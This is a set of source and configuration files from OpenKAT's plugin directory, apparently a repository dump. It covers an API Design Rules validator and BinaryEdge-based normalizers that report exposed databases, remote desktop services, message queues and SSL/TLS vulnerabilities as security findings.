    "path": "boefjes/boefjes/plugins/kat_adr_validator/boefje.Dockerfile.dockerignore",
    "content": "**/__pycache__\n**/boefje.Dockerfile*\n**/description.md\n**/cover.jpg\n**/normalize.py\n**/normalizer.json\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_adr_validator/boefje.json",
    "content": "{\n  \"id\": \"adr-validator\",\n  \"name\": \"API Design Rules validator\",\n  \"description\": \"Validate if an API conforms to the API Design Rules (ADR).\",\n  \"consumes\": [\n    \"RESTAPI\"\n  ],\n  \"scan_level\": 1,\n  \"oci_image\": \"docker.underdark.nl/librekat/openkat-adr-validator:latest\",\n  \"oci_arguments\": []\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_adr_validator/description.md",
    "content": "# ADR validator\n\nBoefje to validate if an API conforms to the Dutch API Design Rules](https://publicatie.centrumvoorstandaarden.nl/api/adr/).\n\nSource project: https://gitlab.com/commonground/don/adr-validator\n\n**Cat name**: Malcolm X\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_adr_validator/main.py",
    "content": "import subprocess\n\n\ndef run(boefje_meta: dict) -> list[tuple[set, bytes | str]]:\n    input_ooi = boefje_meta[\"arguments\"][\"input\"]\n    api_url = input_ooi[\"api_url\"]\n\n    hostname = api_url[\"netloc\"][\"name\"]\n    path = api_url[\"path\"]\n    scheme = api_url[\"scheme\"]\n\n    url = f\"{scheme}://{hostname}{path}\"\n    cmd = [\"/usr/local/bin/adr-validator\", \"-format\", \"json\", url]\n\n    output = subprocess.run(cmd, capture_output=True)\n    output.check_returncode()\n\n    return [({\"openkat/adr-validator-output\"}, output.stdout.decode())]\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_adr_validator/normalize.py",
    "content": "import json\nfrom collections.abc import Iterable\n\nfrom boefjes.normalizer_models import NormalizerOutput\nfrom octopoes.models import Reference\nfrom octopoes.models.ooi.findings import ADRFindingType, Finding\nfrom octopoes.models.ooi.web import APIDesignRule, APIDesignRuleResult\n\n\ndef run(input_ooi: dict, raw: bytes) -> Iterable[NormalizerOutput]:\n    ooi_ref = Reference.from_str(input_ooi[\"primary_key\"])\n\n    results = json.loads(raw)\n\n    for result in results:\n        rule_name = result[\"rule\"]\n        passed = result[\"passed\"]\n        message = result[\"message\"]\n\n        rule = APIDesignRule(name=rule_name)\n        rule_result = APIDesignRuleResult(rest_api=ooi_ref, rule=rule.reference, passed=passed, message=message)\n\n        yield rule\n        yield rule_result\n\n        if passed:\n            continue\n\n        ft = ADRFindingType(id=rule_name)\n        finding = Finding(finding_type=ft.reference, ooi=ooi_ref, description=message)\n\n        yield ft\n        yield finding\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_adr_validator/normalizer.json",
    "content": "{\n  \"id\": \"adr-validator-normalize\",\n  \"name\": \"API Design Rules validator\",\n  \"description\": \"Parses and validates the API Design Rules (ADR). https://www.forumstandaardisatie.nl/open-standaarden/rest-api-design-rules\",\n  \"consumes\": [\n    \"boefje/adr-validator\",\n    \"openkat/adr-validator-output\"\n  ],\n  \"produces\": [\n    \"APIDesignRule\",\n    \"APIDesignRuleResult\",\n    \"ADRFindingType\",\n    \"Finding\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_answer_parser/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/kat_answer_parser/normalize.py",
    "content": "import json\nfrom collections.abc import Iterable\n\nfrom boefjes.normalizer_models import NormalizerOutput\nfrom octopoes.models.ooi.config import Config\n\n\ndef run(input_ooi: dict, raw: bytes) -> Iterable[NormalizerOutput]:\n    data = json.loads(raw)\n\n    bit_id = data[\"schema\"].removeprefix(\"/bit/\")\n\n    yield Config(ooi=data[\"answer_ooi\"], bit_id=bit_id, config=data[\"answer\"])\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_answer_parser/normalizer.json",
    "content": "{\n  \"id\": \"kat_answer_parser\",\n  \"name\": \"Answer Parser\",\n  \"description\": \"Parses the answers from 'Config' objects. Config OOIs are used when your policies and objects need different treatment from the usual setup.\",\n  \"consumes\": [\n    \"answer\"\n  ],\n  \"produces\": [\n    \"Config\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_binaryedge/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/kat_binaryedge/boefje.json",
    "content": "{\n  \"id\": \"binaryedge\",\n  \"name\": \"BinaryEdge\",\n  \"description\": \"Use BinaryEdge to find open ports with vulnerabilities. Requires a BinaryEdge API key.\",\n  \"consumes\": [\n    \"IPAddressV4\",\n    \"IPAddressV6\"\n  ],\n  \"scan_level\": 2,\n  \"oci_image\": \"docker.underdark.nl/librekat/openkat-generic:latest\",\n  \"oci_arguments\": [\n    \"kat_binaryedge.main\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_binaryedge/containers/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/kat_binaryedge/containers/normalize.py",
    "content": "import ipaddress\nimport json\nfrom collections.abc import Iterable\n\nfrom boefjes.normalizer_models import NormalizerOutput\nfrom octopoes.models import Reference\nfrom octopoes.models.ooi.findings import Finding, KATFindingType\nfrom octopoes.models.ooi.network import IPAddressV4, IPAddressV6, IPPort, Network, PortState, Protocol\nfrom octopoes.models.ooi.software import Software, SoftwareInstance\n\n\ndef run(input_ooi: dict, raw: bytes) -> Iterable[NormalizerOutput]:\n    results = json.loads(raw)\n    pk_ooi = Reference.from_str(input_ooi[\"primary_key\"])\n    network = Network(name=\"internet\").reference\n\n    # Structure based on https://docs.binaryedge.io/modules/<accepted_modules_name>/\n    accepted_modules = \"kubernetes\"\n    for scan in results[\"results\"]:\n        module = scan[\"origin\"][\"type\"]\n        if module not in accepted_modules:\n            continue\n\n        port_nr = int(scan[\"target\"][\"port\"])\n        protocol = scan[\"target\"][\"protocol\"]\n        ip = scan[\"target\"][\"ip\"]\n\n        if input_ooi[\"object_type\"] in [\"IPAddressV4\", \"IPAddressV6\"]:\n            ip_ref = pk_ooi\n        else:\n            ipvx = ipaddress.ip_address(ip)\n            if ipvx.version == 4:\n                ip_ooi = IPAddressV4(address=ip, network=network)\n            else:\n                ip_ooi = IPAddressV6(address=ip, network=network)\n            yield ip_ooi\n            ip_ref = ip_ooi.reference\n\n        ip_port_ooi = IPPort(address=ip_ref, protocol=Protocol(protocol), port=port_nr, state=PortState(\"open\"))\n        yield ip_port_ooi\n\n        software_ooi = Software(name=module.capitalize())\n        yield software_ooi\n        software_instance_ooi = SoftwareInstance(ooi=ip_port_ooi.reference, software=software_ooi.reference)\n        yield software_instance_ooi\n\n        kat_ooi = KATFindingType(id=\"KAT-VERIFIED-VULNERABILITY\")\n        yield kat_ooi\n        yield Finding(\n            finding_type=kat_ooi.reference,\n            ooi=software_instance_ooi.reference,\n            description=f\"Container {module.capitalize()} is accessible from the internet, check if this intended.\",\n        )\n\n        # TODO: use auth_required=False to determine urgency/impact\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_binaryedge/containers/normalizer.json",
    "content": "{\n  \"id\": \"kat_binaryedge_containers\",\n  \"name\": \"BinaryEdge containers\",\n  \"description\": \"Parse BinaryEdge data to check if Kubernetes hosts have any vulnerabilities. Creates 'VERIFIED-VULNERABILITY' findings.\",\n  \"consumes\": [\n    \"boefje/binaryedge\"\n  ],\n  \"produces\": [\n    \"KATFindingType\",\n    \"SoftwareInstance\",\n    \"Service\",\n    \"IPPort\",\n    \"Finding\",\n    \"Software\",\n    \"IPService\",\n    \"CVEFindingType\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_binaryedge/databases/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/kat_binaryedge/databases/normalize.py",
    "content": "import ipaddress\nimport json\nfrom collections.abc import Iterable\n\nfrom boefjes.normalizer_models import NormalizerOutput\nfrom octopoes.models import Reference\nfrom octopoes.models.ooi.findings import Finding, KATFindingType\nfrom octopoes.models.ooi.network import IPAddressV4, IPAddressV6, IPPort, Network, PortState, Protocol\nfrom octopoes.models.ooi.software import Software, SoftwareInstance\n\n\ndef run(input_ooi: dict, raw: bytes) -> Iterable[NormalizerOutput]:\n    results = json.loads(raw)\n    pk_ooi = Reference.from_str(input_ooi[\"primary_key\"])\n    network = Network(name=\"internet\").reference\n\n    # Structure based on https://docs.binaryedge.io/modules/<accepted_modules_name>/\n    accepted_modules = (\"cassandra\", \" elasticsearch\", \"memcached\", \"mongodb\", \"redis\")\n    for scan in results[\"results\"]:\n        module = scan[\"origin\"][\"type\"]\n        if module not in accepted_modules:\n            continue\n\n        port_nr = int(scan[\"target\"][\"port\"])\n        protocol = scan[\"target\"][\"protocol\"]\n        ip = scan[\"target\"][\"ip\"]\n\n        if input_ooi[\"object_type\"] in [\"IPAddressV4\", \"IPAddressV6\"]:\n            ip_ref = pk_ooi\n        else:\n            ipvx = ipaddress.ip_address(ip)\n            if ipvx.version == 4:\n                ip_ooi = IPAddressV4(address=ip, network=network)\n            else:\n                ip_ooi = IPAddressV6(address=ip, network=network)\n            yield ip_ooi\n            ip_ref = ip_ooi.reference\n\n        ip_port_ooi = IPPort(address=ip_ref, protocol=Protocol(protocol), port=port_nr, state=PortState(\"open\"))\n        yield ip_port_ooi\n\n        software_version = None\n        data = scan.get(\"result\", {}).get(\"data\", {})\n        if module == \"cassandra\":\n            for cluster in data.get(\"cluster\", []):\n                if \"cassandraVersion\" in cluster:\n                    software_version = cluster[\"cassandraVersion\"]\n                    break\n        elif module == \"elasticsearch\" or module == \"memcached\" and \"version\" in data:\n            software_version = data[\"version\"]\n            # TODO: jvm.version, jvm.vm_version, jvm.vm_vendor\n        elif module == \"mongodb\" and \"version\" in data.get(\"serverInfo\", {}):\n            software_version = data[\"serverInfo\"][\"version\"]\n            # TODO: 'serverInfo.OpenSSLVersion, scan['result']['data']['serverInfo']['openssl']{running,compiled}\n            # TODO: buildEnvironment.cc\n        elif module == \"redis\" and \"redis_version\" in data:\n            software_version = data[\"redis_version\"]\n            # TODO: data.gccversion\n\n        software_ooi = Software(name=module, version=software_version) if software_version else Software(name=module)\n        yield software_ooi\n        software_instance_ooi = SoftwareInstance(ooi=ip_port_ooi.reference, software=software_ooi.reference)\n        yield software_instance_ooi\n\n        kat_ooi = KATFindingType(id=\"KAT-EXPOSED-SOFTWARE\")\n        yield kat_ooi\n        yield Finding(\n            finding_type=kat_ooi.reference,\n            ooi=software_instance_ooi.reference,\n            description=f\"Database {module.capitalize()} should not be exposed to the internet.\",\n        )\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_binaryedge/databases/normalizer.json",
    "content": "{\n  \"id\": \"kat_binaryedge_databases\",\n  \"name\": \"BinaryEdge databases\",\n  \"description\": \"Parses BinaryEdge data to check if any Cassandra, ElasticSearch, Memcached, MongoDB and Redis servers are identified and parses the version number. Create 'EXPOSED-SOFTWARE' findings.\",\n  \"consumes\": [\n    \"boefje/binaryedge\"\n  ],\n  \"produces\": [\n    \"KATFindingType\",\n    \"SoftwareInstance\",\n    \"Service\",\n    \"IPPort\",\n    \"Finding\",\n    \"Software\",\n    \"IPService\",\n    \"CVEFindingType\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_binaryedge/description.md",
    "content": "BinaryEdge essentially collects internet data and makes it searchable on their search engine, similar to Shodan and others. BinaryEdge uses a custom-built platform to scan, gather, and analyze public Internet data, combining machine learning and cybersecurity approaches. This platform scans the entire public Internet and generates real-time threat intelligence streams.\n\n**Cat name**: Joep I\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_binaryedge/http_web/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/kat_binaryedge/http_web/normalize.py",
    "content": "import ipaddress\nimport json\nfrom collections.abc import Iterable\n\nfrom boefjes.normalizer_models import NormalizerOutput\nfrom boefjes.plugins.helpers import cpe_to_name_version\nfrom octopoes.models import Reference\nfrom octopoes.models.ooi.network import IPAddressV4, IPAddressV6, IPPort, Network, PortState, Protocol\nfrom octopoes.models.ooi.software import Software, SoftwareInstance\n\n\ndef run(input_ooi: dict, raw: bytes) -> Iterable[NormalizerOutput]:\n    results = json.loads(raw)\n    pk_ooi = Reference.from_str(input_ooi[\"primary_key\"])\n    network = Network(name=\"internet\").reference\n\n    # Structure based on https://docs.binaryedge.io/modules/<accepted_modules_name>/\n    accepted_modules = (\"webv2\", \" web-enrich\")  # http/https: deprecated, so not implemented.\n    for scan in results[\"results\"]:\n        module = scan[\"origin\"][\"type\"]\n        if module not in accepted_modules:\n            continue\n\n        port_nr = int(scan[\"target\"][\"port\"])\n        protocol = scan[\"target\"][\"protocol\"]\n        ip = scan[\"target\"][\"ip\"]\n\n        if input_ooi[\"object_type\"] in [\"IPAddressV4\", \"IPAddressV6\"]:\n            ip_ref = pk_ooi\n        else:\n            ipvx = ipaddress.ip_address(ip)\n            if ipvx.version == 4:\n                ip_ooi = IPAddressV4(address=ip, network=network)\n            else:\n                ip_ooi = IPAddressV6(address=ip, network=network)\n            yield ip_ooi\n            ip_ref = ip_ooi.reference\n\n        ip_port_ooi = IPPort(address=ip_ref, protocol=Protocol(protocol), port=port_nr, state=PortState(\"open\"))\n        yield ip_port_ooi\n\n        if module == \"webv2\":\n            response = scan.get(\"result\", {}).get(\"data\", {}).get(\"response\", {})\n            # (potential) TODO:\n            # * url [string]\n            # * protocol_version [int]\n            # * redirects [list]\n            # * headers.headers [object]\n            # * plugin (name+version) of {wordpress,joomla}\n\n            for app in response.get(\"apps\", {}):\n                if \"cpe\" in app:\n                    name, version = cpe_to_name_version(cpe=app[\"cpe\"])\n                    software_ooi = Software(name=name, version=version, cpe=app[\"cpe\"])\n                    yield software_ooi\n                    yield SoftwareInstance(ooi=ip_port_ooi.reference, software=software_ooi.reference)\n                else:\n                    software_name = app[\"name\"]\n                    if \"version\" in app:\n                        software_ooi = Software(name=software_name, version=app[\"version\"])\n                        yield software_ooi\n                        yield SoftwareInstance(ooi=ip_port_ooi.reference, software=software_ooi.reference)\n                    else:\n                        software_ooi = Software(name=software_name)\n                        yield software_ooi\n                        yield SoftwareInstance(ooi=ip_port_ooi.reference, software=software_ooi.reference)\n        elif module == \"web-enrich\":\n            # (potential) TODO:\n            # * http_version [string]\n            # * headers [object]\n            # * redirects [list]\n            # * url [string]\n\n            data = scan.get(\"result\", {}).get(\"data\", {})\n            for potential_software in data:\n                # Check all values for 'cpe'\n                if isinstance(potential_software, dict) and \"cpe\" in potential_software:\n                    name, version = cpe_to_name_version(cpe=potential_software[\"cpe\"])\n                    software_ooi = Software(name=name, version=version, cpe=potential_software[\"cpe\"])\n                    yield software_ooi\n                    yield SoftwareInstance(ooi=ip_port_ooi.reference, software=software_ooi.reference)\n\n            key_software = {\n                \"secrets\": \"AWS Secrets\",\n                \"f5_bigip_loadbalancer\": \"F5 BigIP Loadblancer\",\n                \"f5_bigip\": \"F5 BigIP\",\n                \"citrix_netscaler\": \"Citrix NetScaler\",\n            }\n            for ks_key, ks_software in key_software.items():\n                if ks_key in data:\n                    software_ooi = Software(name=ks_software)\n                    yield software_ooi\n                    yield SoftwareInstance(ooi=ip_port_ooi.reference, software=software_ooi.reference)\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_binaryedge/http_web/normalizer.json",
    "content": "{\n  \"id\": \"kat_binaryedge_http_web\",\n  \"name\": \"BinaryEdge Websites\",\n  \"description\": \"Parses BinaryEdge data to check for AWS secrets, F5 BIG IP loadbalancers and Citrix NetScaler.\",\n  \"consumes\": [\n    \"boefje/binaryedge\"\n  ],\n  \"produces\": [\n    \"KATFindingType\",\n    \"SoftwareInstance\",\n    \"Service\",\n    \"IPPort\",\n    \"Finding\",\n    \"Software\",\n    \"IPService\",\n    \"CVEFindingType\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_binaryedge/main.py",
    "content": "import json\nimport math\nfrom os import getenv\n\nfrom pybinaryedge import BinaryEdge\n\n\ndef run(boefje_meta: dict) -> list[tuple[set, bytes | str]]:\n    be = BinaryEdge(getenv(\"BINARYEDGE_API\"))\n    results: dict[str, list] = {\"results\": []}\n\n    input_ = boefje_meta[\"arguments\"][\"input\"]\n\n    if input_[\"object_type\"] in [\"IPAddressV4\", \"IPAddressV6\"]:\n        ip = input_[\"address\"]\n        result = be.host(ip)\n\n        # create same result-structure as netblock\n        for event in result[\"events\"]:\n            results[\"results\"].extend(event[\"results\"])\n    elif input_[\"object_type\"] in [\"IPV4NetBlock\", \"IPV6NetBlock\"]:\n        netblock = input_[\"mask\"]\n        dork = f'ip:\"{netblock}\"'\n\n        # iterate through partial results\n        page_counter = 0\n        total_pages = 1  # set real value after first request\n\n        while page_counter < total_pages:\n            page_counter += 1\n            result = be.host_search(dork, page_counter)\n\n            # calculate number of existing pages\n            if page_counter == 1:\n                total_pages = math.ceil(result[\"total\"] / result[\"pagesize\"])\n\n            results[\"results\"].extend(result[\"events\"])\n\n    return [(set(), json.dumps(results))]\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_binaryedge/message_queues/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/kat_binaryedge/message_queues/normalize.py",
    "content": "import ipaddress\nimport json\nfrom collections.abc import Iterable\n\nfrom boefjes.normalizer_models import NormalizerOutput\nfrom octopoes.models import Reference\nfrom octopoes.models.ooi.findings import Finding, KATFindingType\nfrom octopoes.models.ooi.network import IPAddressV4, IPAddressV6, IPPort, Network, PortState, Protocol\nfrom octopoes.models.ooi.software import Software\n\n\ndef run(input_ooi: dict, raw: bytes) -> Iterable[NormalizerOutput]:\n    results = json.loads(raw)\n    pk_ooi = Reference.from_str(input_ooi[\"primary_key\"])\n    network = Network(name=\"internet\").reference\n\n    # Structure based on https://docs.binaryedge.io/modules/<accepted_modules_name>/\n    accepted_modules = \"mqtt\"\n    for scan in results[\"results\"]:\n        module = scan[\"origin\"][\"type\"]\n        if module not in accepted_modules:\n            continue\n\n        port_nr = int(scan[\"target\"][\"port\"])\n        protocol = scan[\"target\"][\"protocol\"]\n        ip = scan[\"target\"][\"ip\"]\n\n        if input_ooi[\"object_type\"] in [\"IPAddressV4\", \"IPAddressV6\"]:\n            ip_ref = pk_ooi\n        else:\n            ipvx = ipaddress.ip_address(ip)\n            if ipvx.version == 4:\n                ip_ooi = IPAddressV4(address=ip, network=network)\n            else:\n                ip_ooi = IPAddressV6(address=ip, network=network)\n            yield ip_ooi\n            ip_ref = ip_ooi.reference\n\n        ip_port_ooi = IPPort(address=ip_ref, protocol=Protocol(protocol), port=port_nr, state=PortState(\"open\"))\n        yield ip_port_ooi\n\n        software_ooi = Software(name=module)\n        yield software_ooi\n        software_instance_ooi = Software(ooi=ip_port_ooi.reference, software=software_ooi.reference)\n        yield software_instance_ooi\n\n        kat_ooi = KATFindingType(id=\"KAT-EXPOSED-SOFTWARE\")\n        yield kat_ooi\n        yield Finding(\n            finding_type=kat_ooi.reference,\n            ooi=software_instance_ooi.reference,\n            description=f\"{module.upper()} should not be exposed to the internet.\",\n        )\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_binaryedge/message_queues/normalizer.json",
    "content": "{\n  \"id\": \"kat_binaryedge_message_queues\",\n  \"name\": \"BinaryEdge message queues\",\n  \"description\": \"Parses BinaryEdge data to check for message queues (mqtt) servers. Creates the finding 'EXPOSED-SOFTWARE' if mqtt servers are found.\",\n  \"consumes\": [\n    \"boefje/binaryedge\"\n  ],\n  \"produces\": [\n    \"KATFindingType\",\n    \"SoftwareInstance\",\n    \"Service\",\n    \"IPPort\",\n    \"Finding\",\n    \"Software\",\n    \"IPService\",\n    \"CVEFindingType\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_binaryedge/protocols/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/kat_binaryedge/protocols/normalize.py",
    "content": "import ipaddress\nimport json\nfrom collections.abc import Iterable\n\nfrom boefjes.normalizer_models import NormalizerOutput\nfrom octopoes.models import Reference\nfrom octopoes.models.ooi.findings import Finding, KATFindingType\nfrom octopoes.models.ooi.network import IPAddressV4, IPAddressV6, IPPort, Network, PortState, Protocol\n\n\ndef run(input_ooi: dict, raw: bytes) -> Iterable[NormalizerOutput]:\n    results = json.loads(raw)\n    pk_ooi = Reference.from_str(input_ooi[\"primary_key\"])\n    network = Network(name=\"internet\").reference\n\n    # Structure based on https://docs.binaryedge.io/modules/<accepted_modules_name>/\n    accepted_modules = (\"ssl-simple\", \"sslv2\", \"jarm\")\n    for scan in results[\"results\"]:\n        module = scan[\"origin\"][\"type\"]\n        if module not in accepted_modules:\n            continue\n\n        port_nr = int(scan[\"target\"][\"port\"])\n        protocol = scan[\"target\"][\"protocol\"]\n        ip = scan[\"target\"][\"ip\"]\n\n        if input_ooi[\"object_type\"] in [\"IPAddressV4\", \"IPAddressV6\"]:\n            ip_ref = pk_ooi\n        else:\n            ipvx = ipaddress.ip_address(ip)\n            if ipvx.version == 4:\n                ip_ooi = IPAddressV4(address=ip, network=network)\n            else:\n                ip_ooi = IPAddressV6(address=ip, network=network)\n            yield ip_ooi\n            ip_ref = ip_ooi.reference\n\n        ip_port_ooi = IPPort(address=ip_ref, protocol=Protocol(protocol), port=port_nr, state=PortState(\"open\"))\n        yield ip_port_ooi\n\n        # TODO: result.data.server_info {openssl_cipher_string_supported,highest_ssl_version_supported,ja3,ja3_digest}\n        # TODO: version\n        # TODO: jarm\n        for cert_chain in scan.get(\"data\", {}).get(\"cert_info\", {}).get(\"certificate_chain\", []):\n            pass\n\n        vulns = scan.get(\"data\", {}).get(\"vulnerabilities\", {})\n        if vulns.get(\"compression\", {}).get(\"supports_compression\"):\n            kat_ooi = KATFindingType(id=\"KAT-VERIFIED-VULNERABILITY\")\n            yield kat_ooi\n            yield Finding(\n                finding_type=kat_ooi.reference,\n                ooi=ip_port_ooi.reference,\n                description=\"SSL is set to support compression, but it is advised to disable this.\",\n            )\n        if vulns.get(\"fallback\", {}).get(\"supports_fallback_scsv\"):\n            kat_ooi = KATFindingType(id=\"KAT-VERIFIED-VULNERABILITY\")\n            yield kat_ooi\n            yield Finding(\n                finding_type=kat_ooi.reference,\n                ooi=ip_port_ooi.reference,\n                description=\"SSL is set to support fallback scsv, but it is advised to disable this.\",\n            )\n        if \"heartbleed\" in vulns and vulns[\"heartbleed\"][\"is_vulnerable_to_heartbleed\"]:\n            kat_ooi = KATFindingType(id=\"KAT-VERIFIED-VULNERABILITY\")\n            yield kat_ooi\n            yield Finding(\n                finding_type=kat_ooi.reference,\n                ooi=ip_port_ooi.reference,\n                description=\"It is confirmed this connection is vulnerable to Heartbleed, it is advised to adopt \"\n                \"the fix.\",\n            )\n        if \"openssl_ccs\" in vulns and vulns[\"openssl_ccs\"][\"is_vulnerable_to_ccs_injection\"]:\n            kat_ooi = KATFindingType(id=\"KAT-VERIFIED-VULNERABILITY\")\n            yield kat_ooi\n            yield Finding(\n                finding_type=kat_ooi.reference,\n                ooi=ip_port_ooi.reference,\n                description=\"It is verified this connection is vulnerable to the OpenSSL CSS Injection Vulnerability.\",\n            )\n        if \"renegotiation\" in vulns and vulns[\"renegotiation\"][\"accepts_client_renegotiation\"]:\n            kat_ooi = KATFindingType(id=\"KAT-VERIFIED-VULNERABILITY\")\n            yield kat_ooi\n            yield Finding(\n                finding_type=kat_ooi.reference,\n                ooi=ip_port_ooi.reference,\n                description=\"This SSL accepts client renegotiation, but i can be used in a DOS attack.\",\n            )\n        if \"renegotiation\" in vulns and vulns[\"renegotiation\"][\"supports_secure_renegotiation\"]:\n            kat_ooi = KATFindingType(id=\"KAT-VERIFIED-VULNERABILITY\")\n            yield kat_ooi\n            yield Finding(\n                finding_type=kat_ooi.reference,\n                ooi=ip_port_ooi.reference,\n                description=\"This SSL accepts secure renegotiation, but i can be used in a DOS attack.\",\n            )\n        if \"robot_result_enum\" in vulns.get(\"robot\", {}):\n            robot = vulns[\"robot\"][\"robot_result_enum\"]\n            if robot in (\n                \"VULNERABLE_WEAK_ORACLE\",  # the server is vulnerable but the attack would take too long\n                \"VULNERABLE_STRONG_ORACLE\",  # the server is vulnerable and real attacks are feasible\n                \"NOT_VULNERABLE_NO_ORACLE\",  # the server supports RSA cipher suites but does not act as an oracle\n                \"NOT_VULNERABLE_RSA_NOT_SUPPORTED\",  # the server does not supports RSA cipher suites\n                \"UNKNOWN_INCONSISTENT_RESULTS\",  # could not determine whether the server is vulnerable or not\n            ):\n                pass  # todo\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_binaryedge/protocols/normalizer.json",
    "content": "{\n  \"id\": \"kat_binaryedge_protocols\",\n  \"name\": \"BinaryEdge SSL/TLS protocols\",\n  \"description\": \"Parses BinaryEdge data to check for various vulnerabilities within SSL/TLS protocols, such as Heartbleed, Secure Renegotiation and SSL Compression.\",\n  \"consumes\": [\n    \"boefje/binaryedge\"\n  ],\n  \"produces\": [\n    \"KATFindingType\",\n    \"SoftwareInstance\",\n    \"Service\",\n    \"IPPort\",\n    \"Finding\",\n    \"Software\",\n    \"IPService\",\n    \"CVEFindingType\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_binaryedge/remote_desktop/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/kat_binaryedge/remote_desktop/normalize.py",
    "content": "import ipaddress\nimport json\nfrom collections.abc import Iterable\n\nfrom boefjes.normalizer_models import NormalizerOutput\nfrom octopoes.models import Reference\nfrom octopoes.models.ooi.findings import Finding, KATFindingType\nfrom octopoes.models.ooi.network import IPAddressV4, IPAddressV6, IPPort, Network, PortState, Protocol\nfrom octopoes.models.ooi.service import IPService, Service\n\n\ndef run(input_ooi: dict, raw: bytes) -> Iterable[NormalizerOutput]:\n    results = json.loads(raw)\n    pk_ooi = Reference.from_str(input_ooi[\"primary_key\"])\n    network = Network(name=\"internet\").reference\n\n    # Structure based on https://docs.binaryedge.io/modules/<accepted_modules_name>/\n    accepted_modules = (\"rdp\", \"rdpeudp\", \"vnc\", \"x11\", \"bluekeep\")\n    for scan in results[\"results\"]:\n        module = scan[\"origin\"][\"type\"]\n        if module not in accepted_modules:\n            continue\n\n        port_nr = int(scan[\"target\"][\"port\"])\n        protocol = scan[\"target\"][\"protocol\"]\n        ip = scan[\"target\"][\"ip\"]\n\n        if input_ooi[\"object_type\"] in [\"IPAddressV4\", \"IPAddressV6\"]:\n            ip_ref = pk_ooi\n        else:\n            ipvx = ipaddress.ip_address(ip)\n            if ipvx.version == 4:\n                ip_ooi = IPAddressV4(address=ip, network=network)\n            else:\n                ip_ooi = IPAddressV6(address=ip, network=network)\n            yield ip_ooi\n            ip_ref = ip_ooi.reference\n\n        ip_port_ooi = IPPort(address=ip_ref, protocol=Protocol(protocol), port=port_nr, state=PortState(\"open\"))\n        yield ip_port_ooi\n\n        service_name = \"\"\n        if module == \"rdp\" and scan.get(\"result\", {}).get(\"data\", {}).get(\"security\", \"\").lower() == \"ssl\":\n            service_name = \"ssl/rdp\"\n        elif module == \"rdp\" or module == \"rdpeudp\" or module == \"bluekeep\":\n            service_name = \"rdp\"\n        elif module == \"vnc\" or module == \"x11\":\n            service_name = module\n\n        service_ooi = Service(name=service_name)\n        yield service_ooi\n\n        ip_service_ooi = IPService(ip_port=ip_port_ooi.reference, service=service_ooi.reference)\n        yield ip_service_ooi\n\n        kat_641_ooi = KATFindingType(id=\"KAT-EXPOSED-SOFTWARE\")\n        yield kat_641_ooi\n        yield Finding(\n            finding_type=kat_641_ooi.reference,\n            ooi=ip_service_ooi.reference,\n            description=f\"{module.upper()} should not be exposed to the internet.\",\n        )\n\n        if module == \"bluekeep\" and scan.get(\"result\", {}).get(\"data\", {}).get(\"status\", \"\").lower() == \"vulnerable\":\n            kat_642_ooi = KATFindingType(id=\"KAT-VERIFIED-VULNERABILITY\")\n            yield kat_642_ooi\n            yield Finding(\n                finding_type=kat_642_ooi.reference,\n                ooi=ip_service_ooi.reference,\n                description=\"It is verified that this Remote Desktop server is vulnerable to the Bluekeep \"\n                \"vulnerability.\",\n            )\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_binaryedge/remote_desktop/normalizer.json",
    "content": "{\n  \"id\": \"kat_binaryedge_remote_desktop\",\n  \"name\": \"Binary Edge remote desktop\",\n  \"description\": \"Parses BinaryEdge data to check for remote desktop services such as RDP, VNC and X11. Creates 'EXPOSED-SOFTWARE' findings.\",\n  \"consumes\": [\n    \"boefje/binaryedge\"\n  ],\n  \"produces\": [\n    \"KATFindingType\",\n    \"SoftwareInstance\",\n    \"Service\",\n    \"IPPort\",\n    \"Finding\",\n    \"Software\",\n    \"IPService\",\n    \"CVEFindingType\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_binaryedge/requirements.txt",
    "content": "pybinaryedge == 0.5\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_binaryedge/schema.json",
    "content": "{\n  \"title\": \"Arguments\",\n  \"type\": \"object\",\n  \"properties\": {\n    \"BINARYEDGE_API\": {\n      \"title\": \"BINARYEDGE_API\",\n      \"maxLength\": 128,\n      \"type\": \"string\",\n      \"description\": \"A BinaryEdge API key (see https://docs.binaryedge.io/api-v2/).\"\n    }\n  },\n  \"required\": [\n    \"BINARYEDGE_API\"\n  ],\n  \"secret\": [\n    \"BINARYEDGE_API\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_binaryedge/service_identification/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/kat_binaryedge/service_identification/normalize.py",
